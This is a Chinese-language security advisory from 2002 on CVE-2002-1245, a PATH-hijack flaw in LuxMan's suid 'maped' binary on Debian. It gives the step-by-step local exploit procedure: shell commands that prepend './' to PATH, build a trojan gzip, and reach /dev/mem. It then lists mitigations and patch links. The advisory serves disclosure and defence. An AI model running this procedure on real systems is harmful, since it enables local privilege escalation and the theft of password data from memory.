首页 -> 安全研究

安全研究

安全漏洞
LuxMan执行gzip路径处理不正确漏洞

发布日期:2002-11-06
更新日期:2002-11-08

受影响系统:
Frank McIngvale LuxMan 0.41
    - Debian Linux 3.0
描述:
BUGTRAQ  ID: 6113
CVE(CAN) ID: CVE-2002-1245

Frank McIngvale's LuxMan是一款基于LINUX下的游戏程序。

LuxMan执行gzip的时候没有使用全路径,本地攻击者可以利用这个漏洞建立包含恶意代码的命令为gzip的程序,通过修改路径环境变量,读写访问/dev/mem,造成权限提升。

LuxMan程序以suid属性安装,它在执行gzip的时候路径检查不够充分,本地攻击者如果建立一个名为gzip的木马或者恶意利用代码程序,并通过修改路径(PATH)环境变量,可导致复制/dev/mem内容到/tmp/mem文件中,攻击者可以查看文件内容获得部分密码字段,或者修改内核内存重新映射系统调用。

<*来源:David Endler (dendler@idefense.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-11/0037.html
        http://www.debian.org/security/2002/dsa-189
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

David Endler (dendler@idefense.com)提供了如下测试方法:

1、攻击者设置当前工作路径到PATH环境变量中:

farmer@debian30:~$ export | grep PATH declare -x
PATH="/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games"
farmer@debian30:~$ declare -x
PATH="./:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games"
farmer@debian30:~$ export | grep PATH declare -x
PATH="./:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games"

2、攻击者编译一恶意利用代码并命令为gzip,和建立如下伪造的压缩档:

farmer@debian30:~$ cc gzip.c -o gzip
farmer@debian30:~$ touch test.gz

3、攻击者执行映射的二进制:

farmer@debian30:~$ `which maped` test.gz
You must be the owner of the current console to use svgalib.
Not running in a graphics capable console,
and unable to find one.
Using VGA driver.
svgalib 1.4.3
...

这时候/dev/mem被复制到/dev/tmp中,/dev/mem的描述符可以在独立终端中分析:

farmer@debian30:~$ lsof | grep /dev/mem
gzip 5197 farmer 5u CHR 1,1 178294 /dev/mem


farmer@debian30:~$ cd /proc/5197/fd/
farmer@debian30:~$ ls -l
total 0
lrwx------ 1 farmer farmer 64 Oct 10 05:56 0 -> /dev/pts/1
l-wx------ 1 farmer farmer 64 Oct 10 05:56 1 -> pipe:[4991]
lrwx------ 1 farmer farmer 64 Oct 10 05:56 2 -> /dev/pts/1
lrwx------ 1 farmer farmer 64 Oct 10 05:56 3 -> /tmp/mem
lr-x------ 1 farmer farmer 64 Oct 10 05:56 4 -> /dev/zero
lrwx------ 1 farmer farmer 64 Oct 10 05:56 5 -> /dev/mem

可以看到描述符5为读和写访问。

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用如下命令删除LuxMan:

# apt-get remove luxman

* 通过执行如下命令去除映射的二进制SETUID位:

# chmod -s `which maped`

厂商补丁:

Debian
------
Debian已经为此发布了一个安全公告(DSA-189-1)以及相应补丁:
DSA-189-1:luxman -- local root exploit
链接:http://www.debian.org/security/2002/dsa-189

补丁下载:

Source:
http://security.debian.org/pool/updates/main/l/luxman/luxman_0.41-17.1.dsc
http://security.debian.org/pool/updates/main/l/luxman/luxman_0.41-17.1.diff.gz
http://security.debian.org/pool/updates/main/l/luxman/luxman_0.41.orig.tar.gz

Intel IA-32:
http://security.debian.org/pool/updates/main/l/luxman/luxman_0.41-17.1_i386.deb

浏览次数:3211
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障